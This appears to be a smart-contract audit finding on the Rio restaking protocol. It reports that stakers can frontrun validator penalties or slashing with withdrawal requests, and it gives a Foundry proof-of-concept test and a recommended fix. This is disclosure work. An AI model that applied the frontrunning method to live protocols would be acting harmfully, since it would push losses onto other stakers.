Stakers can avoid validator penalties
Stakers can frontrun validators penalties and slashing events with a withdrawal request in order to avoid the loss, this is possible if the deposit pool has enough liquidity available.\\nValidators can lose part of their deposit via penalties or slashing events:\\nIn case of penalties Eigenlayer can be notified of the balance drop via the permissionless function EigenPod::verifyBalanceUpdates().\\nIn case of slashing the validator is forced to exit and Eigenlayer can be notified via the permissionless function EigenPod::verifyAndProcessWithdrawals() because the slashing event is effectively a full withdrawal.\\nAs soon as either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() is called the TVL of the Rio protocol drops instantly. This is because both of the functions update the variable podOwnerShares[podOwner]:\\nEigenPod::verifyBalanceUpdates() will update the variable here\\nEigenPod::verifyAndProcessWithdrawals() will update the variable here\\nThis makes it possible for stakers to:\\nRequest a withdrawal via RioLRTCoordinator::rebalance() for all the `LRTTokens` held.\\nCall either EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals().\\nAt this point when RioLRTCoordinator::rebalance() will be called and a withdrawal will be queued that does not include penalties or slashing.\\nIt's possible to withdraw `LRTTokens` while avoiding penalties or slashing up to the amount of liquidity available in the deposit pool.\\nPOC\\nI wrote a POC whose main point is to show that requesting a withdrawal before an instant TVL drop will withdraw the full amount requested without taking the drop into account. The POC doesn't show that EigenPod::verifyBalanceUpdates() or EigenPod::verifyAndProcessWithdrawals() actually lowers the TVL because I wasn't able to implement it in the tests.\\nAdd imports to RioLRTCoordinator.t.sol:\\n```\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n\\nthen copy-paste:\\n```\\nIRioLRTOperatorRegistry.StrategyShareCap[] public emptyStrategyShareCaps;\\nfunction test_avoidInstantPriceDrop() public {\\n    //-> Add two operators with 1 validator each\\n    uint8[] memory operatorIds = addOperatorDelegators(\\n        reETH.operatorRegistry,\\n        address(reETH.rewardDistributor),\\n        2,\\n        emptyStrategyShareCaps,\\n        1\\n    );\\n    address operatorAddress0 = address(uint160(1));\\n\\n    //-> Deposit ETH so there's 74ETH in the deposit pool\\n    uint256 depositAmount = 2*ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;\\n    uint256 amountToWithdraw = 10 ether;\\n    reETH.coordinator.depositETH{value: amountToWithdraw + depositAmount}();\\n\\n    //-> Stake the 64ETH on the validators, 32ETH each and 10 ETH stay in the deposit pool\\n    vm.prank(EOA, EOA);\\n    reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n    //-> Attacker notices a validator is going receive penalties and immediately requests a withdrawal of 10ETH\\n    reETH.coordinator.requestWithdrawal(ETH_ADDRESS, amountToWithdraw);\\n\\n    //-> Validator get some penalties and Eigenlayer notified \\n    //IMPORTANT: The following block of code it's a simulation of what would happen if a validator balances gets lowered because of penalties\\n    //and `verifyBalanceUpdates()` gets called on Eigenlayer. It uses another bug to achieve an instant loss of TVL.\\n\\n    //      ~~~Start penalties simulation~~~\\n    {\\n        //-> Verify validators credentials of the two validators\\n        verifyCredentialsForValidators(reETH.operatorRegistry, 1, 1);\\n        verifyCredentialsForValidators(reETH.operatorRegistry, 2, 1);\\n\\n        //-> Cache current TVL and ETH Balance\\n        uint256 TVLBefore = reETH.coordinator.getTVL();\\n\\n        //->Operator calls `undelegate()` on Eigenlayer\\n        //IMPORTANT: This achieves the same a calling `verifyBalanceUpdates()` on Eigenlayer after a validator suffered penalties,\\n        //an instant drop in TVL.\\n        IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorIds[0]);\\n        vm.prank(operatorAddress0);\\n        delegationManager.undelegate(details.delegator);\\n\\n        //-> TVL dropped\\n        uint256 TVLAfter = reETH.coordinator.getTVL();\\n\\n        assertLt(TVLAfter, TVLBefore);\\n    }\\n    //      ~~~End penalties simulation~~~\\n\\n    //-> Rebalance gets called\\n    skip(reETH.coordinator.rebalanceDelay());\\n    vm.prank(EOA, EOA);\\n    reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n    //-> Attacker receives all of the ETH he withdrew, avoiding the effect of penalties\\n    uint256 balanceBefore = address(this).balance;\\n    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));\\n    uint256 balanceAfter = address(this).balance;\\n    assertEq(balanceAfter - balanceBefore, amountToWithdraw);\\n}\\n```\\n
When RioLRTCoordinator::rebalance() is called and penalties or slashing events happened during the epoch being settled, distribute the correct amount of penalties to all the `LRTTokens` withdrawn in the current epoch, including the ones that requested the withdrawal before the drop.
Stakers can avoid validator penalties and slashing events if there's enough liquidity in the deposit pool.
```\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n